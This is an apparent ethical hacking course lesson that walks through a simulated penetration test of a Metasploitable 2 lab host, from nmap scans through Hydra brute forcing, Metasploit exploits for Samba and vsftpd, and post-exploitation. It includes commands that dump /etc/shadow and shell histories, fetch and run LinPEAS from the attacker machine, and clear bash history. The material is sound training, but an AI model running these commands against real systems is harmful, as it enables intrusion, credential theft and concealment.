Ethical Hacking
Mini Project — Ethical Hacking Lab
This is the final lesson. Everything covered across 44 lessons comes together here — a complete simulated engagement against Metasploitable from first recon command to final report section. Follow along in your lab. Document as you go. By the end, you will have completed a full ethical hacking engagement and have a report structure you can reuse on real assessments.
The scenario — a simulated internal engagement
You have been engaged by a fictional client — TechCorp Ltd — to perform an internal network penetration test. The scope covers a single host: 192.168.56.101 (Metasploitable 2). The engagement is a grey-box test — you know the IP range and have been given no credentials. The client has authorised active testing, credential testing, exploitation, and post-exploitation including privilege escalation. DoS testing is explicitly excluded.
Your objective: identify all accessible vulnerabilities, demonstrate impact through exploitation where safe to do so, and deliver a professional findings report. Time limit: four hours. Every step below maps to a lesson in this course.
Stage 1 — Reconnaissance and enumeration
Start with network discovery and port scanning. Every decision made in later stages depends on what is found here. Take your time, document every open port, and read the service version information carefully.
# Phase 1a — full port scan with service and version detection
# -sS SYN scan (stealthy, fast)
# -sV service version detection
# -O OS fingerprinting
# -p- all 65535 ports
# -oN save output to a text file for the report
nmap -sS -sV -O -p- -oN /tmp/nmap_full.txt 192.168.56.101
# Phase 1b — run NSE vulnerability scripts against discovered open ports
# --script vuln runs the full vulnerability script category
# This surfaces CVEs, default credentials, and misconfigurations automatically
nmap --script vuln -p 21,22,23,25,80,445,3306,8180 \
-oN /tmp/nmap_vuln.txt 192.168.56.101
# Phase 1c — enumerate the web application
# dirb performs directory and file brute forcing
# discovers hidden admin pages, config files, and backup files
dirb http://192.168.56.101 /usr/share/wordlists/dirb/common.txt \
-o /tmp/dirb_results.txt
# Phase 1d — check for anonymous FTP and enumerate SMTP users
# anonymous FTP might expose files or allow uploads (covered in L24)
ftp 192.168.56.101
# try: anonymous / anonymous@
# SMTP user enumeration — confirm valid usernames for credential attacks
smtp-user-enum -M VRFY -U /usr/share/wordlists/metasploit/unix_users.txt \
-t 192.168.56.101Breaking it down:
The Samba username map script RCE (CVE-2007-2447) is a one-command remote code execution. The vsftpd 2.3.4 backdoor triggers on a specific character in the username. Tomcat Manager with default credentials allows WAR file deployment — which is also RCE. Any one of these is sufficient to compromise the host. Document all three as independent findings — they represent separate attack paths that must each be individually remediated.
Confirming valid usernames — msfadmin, service, user — before brute forcing reduces the search space dramatically. Username enumeration via SMTP VRFY is itself a finding: the server should not confirm whether a username exists. The confirmed usernames go into users.txt for Hydra in Stage 2.
Stage 2 — Credential attacks
With confirmed usernames from SMTP enumeration, run credential attacks against SSH and FTP. Start with the fastest check — default and trivially weak passwords — before escalating to a full wordlist.
# Phase 2a — brute force SSH with confirmed usernames
# fasttrack.txt covers trivially weak and default passwords (222 entries)
# -t 4 threads, -L users file from SMTP enumeration
hydra -L /tmp/users.txt \
-P /usr/share/wordlists/fasttrack.txt \
-t 4 ssh://192.168.56.101
# Phase 2b — check Tomcat Manager default credentials (covered in L24)
curl -s -o /dev/null -w "%{http_code}" \
-u tomcat:tomcat http://192.168.56.101:8180/manager/html
# Phase 2c — test MySQL with root and no password (common default)
mysql -h 192.168.56.101 -u root -p
# try: toor, root, (blank)
# Phase 2d — if SSH credentials found, extract /etc/shadow for offline cracking
# requires successful SSH login as msfadmin first
ssh msfadmin@192.168.56.101 "sudo cat /etc/shadow" > /tmp/shadow_hashes.txt
john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/shadow_hashes.txtBreaking it down:
All three compromised SSH accounts use the username as their password — the weakest possible credential pattern. Combined with no rate limiting detected across all Hydra attempts, this is two separate findings per service: weak credential policy and missing brute force protection. Both go into the report independently.
SSH (three accounts), Tomcat Manager (admin access), MySQL (database root access), and FTP (anonymous login from Phase 1) — all compromised before a single exploit was run. The credential phase consistently produces more findings than the exploitation phase on real engagements. Document the credential findings before moving to exploits.
Stage 3 — Exploitation
With reconnaissance and credential findings documented, demonstrate the exploitation paths identified by the NSE scripts. The Samba CVE-2007-2447 is the cleanest path — one command, reliable RCE, no prerequisites other than a network connection.
# Phase 3a — Samba username map script RCE (CVE-2007-2447)
# This exploit sends a crafted username containing a shell command
# Samba 3.0.20 executes it as root — no authentication required
msfconsole -q
# use exploit/multi/samba/usermap_script
# set RHOSTS 192.168.56.101
# set LHOST 192.168.56.102 (your Kali IP)
# run
# [*] Command shell session 1 opened — you are now root
# Confirm root access
id
# uid=0(root) gid=0(root)
# Phase 3b — vsftpd 2.3.4 backdoor (CVE-2011-2523) — second independent path
# The backdoor triggers when a username contains :) — opens a root shell on 6200
use exploit/unix/ftp/vsftpd_234_backdoor
# set RHOSTS 192.168.56.101
# run
# uid=0(root) — root shell confirmed on port 6200
# Phase 3c — document the session before doing anything else
# whoami, id, hostname, uname -a — the four evidence commands
whoami && id && hostname && uname -aBreaking it down:
Both Samba and vsftpd exploits achieve root-level code execution with no authentication whatsoever — an unauthenticated attacker on the same network segment can own this host completely. Combined with the credential findings from Stage 2, this host has five independent compromise paths across different services. The executive summary framing is: "complete system compromise is achievable through multiple paths from any position on the internal network."
The four evidence commands — whoami, id, hostname, uname -a — are the first thing to run in every shell. They establish who you are, what machine you are on, and what OS version is running. Screenshot or save the output. If the shell drops unexpectedly before you capture evidence, the finding cannot be documented with proof. Evidence first, exploration second.
Stage 4 — Post-exploitation and credential harvesting
Root access has been demonstrated via two independent paths. Now harvest credentials, look for lateral movement opportunities, and demonstrate the full data exposure impact before cleaning up.
# Phase 4a — harvest credentials from the compromised host
# Read /etc/shadow — all password hashes for offline cracking
cat /etc/shadow
# Read shell history — commands previously run by administrators
cat /home/msfadmin/.bash_history
cat /root/.bash_history
# Find configuration files containing database credentials
grep -r "password" /var/www/ 2>/dev/null | grep -v ".svn"
cat /var/www/dvwa/config/config.inc.php
# Phase 4b — check for lateral movement leads
# Other IP addresses in history files reveal additional targets
grep -E "[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}" \
/root/.bash_history /home/msfadmin/.bash_history 2>/dev/null
# Phase 4c — demonstrate data access (document, do not retain)
# Access the MySQL database with root credentials found
mysql -u root -ptoor -e "show databases; use dvwa; select user,password from users;"
# Phase 4d — run LinPEAS for comprehensive escalation evidence
# (demonstrates what an attacker would do for complete enumeration)
wget -q http://192.168.56.102:8000/linpeas.sh -O /tmp/lp.sh
chmod +x /tmp/lp.sh && /tmp/lp.sh > /tmp/linpeas_output.txt 2>&1Breaking it down:
The lateral movement lead from bash history is exactly what Lesson 23 demonstrated. Before testing it, confirm the IP is within scope. If it is — the credential reuse test follows. If it is not — document the discovery, stop, and seek scope confirmation from the client. Finding a host that was not in the original scope document is itself a valuable deliverable: it tells the client their network topology documentation is incomplete.
Already running as root via the Samba exploit — but LinPEAS surfaces three independent privilege escalation paths that would have worked even without the RCE: SUID nmap, world-writable cron script, and unrestricted sudo. All three go into the report as separate findings. The client needs to fix all of them — not just the path that was demonstrated.
Stage 5 — Cleanup
Before the engagement closes, every artefact must be removed. This is not optional.
# Cleanup checklist — run on the target before closing the engagement
# Remove all uploaded files
rm -f /tmp/lp.sh /tmp/linpeas_output.txt
# Remove any shells or payloads
rm -f /tmp/shell /tmp/backdoor /tmp/rootbash
# Restore any modified files to their original state
# (none were modified in this engagement — document accordingly)
# Clear evidence of our presence from logs (for lab practice only)
# In a real engagement this is only done if explicitly authorised
# and all actions are documented before clearing
cat /dev/null > ~/.bash_history
export HISTFILE=/dev/null
# Verify nothing was left behind
ls -la /tmp/ | grep -v "^total\|^\."
# Document cleanup completion with timestamp
echo "Cleanup completed: $(date)" >> /tmp/engagement_log.txtBreaking it down:
The cleanup log — what was removed, when, and confirmed absent — is a deliverable alongside the findings report. Clients need to know the system is clean and what was removed. This documentation also protects the pen tester: if a problem is discovered on the target system after the engagement, the cleanup log shows what was placed and removed and provides a timestamp that distinguishes engagement activity from unrelated issues.
The report — structure and content
The engagement is only as valuable as the report it produces. Every finding, every recommendation, every proof of exploitation — useless unless communicated clearly enough for the client to act on it. The structure below is the professional standard for pen test reports. Adapt it to your context but do not skip sections.
The complete findings list for this engagement
Ten findings. Three critical, four high, three medium. Every one has a specific remediation. This is what a complete engagement delivers — not just a list of vulnerabilities but a structured, prioritised, actionable remediation plan. The client's IT team can open this table and start working through it top to bottom without needing to interpret anything.
Continuing from here — the next steps
Completing this course is a foundation, not an arrival. The techniques, the methodology, and the reporting structure covered across 45 lessons are what real pen testers use on real engagements — but reading about them and executing them fluently are different skills. The gap closes with practice.
Build more labs
Add Metasploitable 3, VulnHub machines, and DVWA to your lab environment. Each machine presents different scenarios. TryHackMe and HackTheBox both offer guided and unguided machines with an increasing difficulty curve — start with easy-rated boxes and work up.
Work through PortSwigger Web Security Academy
Free labs that build web security proficiency hands-on. Work through the SQL injection, XSS, authentication, and access control paths before tackling SSRF, deserialization, and advanced topics. Each lab has a walkthrough if needed — use it once then solve the next variant without it.
Write practice reports
After each lab machine, write a findings report using the structure from this lesson. The report is the deliverable — not the exploitation. Practising report writing in the lab makes it faster and better on real engagements where time pressure is constant and quality matters for the client.
Pursue certification when ready
eJPT is a strong first certification — practical, attainable, and directly aligned with this course's content. OSCP is the long-term target for a professional offensive security career. Neither should be attempted without significant hands-on practice first. The PEN-200 material that prepares for OSCP will feel significantly more accessible after completing this course and working through 30+ lab machines.
Teacher's Note: You have completed 45 lessons covering reconnaissance, scanning, system attacks, network attacks, web hacking, and professional reporting. The methodology is now yours. Every finding has a technique. Every technique has a defence. Every defence has a test. That loop — attack, defend, test — is the permanent core of this field. The tools and vulnerabilities will change. The thinking does not. Keep practising, keep building, and keep writing reports that actually help your clients fix things.
Quiz
Scenario:
Scenario:
Scenario:
Course Complete
45 Lessons · 4 Sections · 1 Methodology
From footprinting and reconnaissance through system and network attacks to web hacking and API security — you now have the complete picture. The lab is open. The methodology is yours. Keep practising.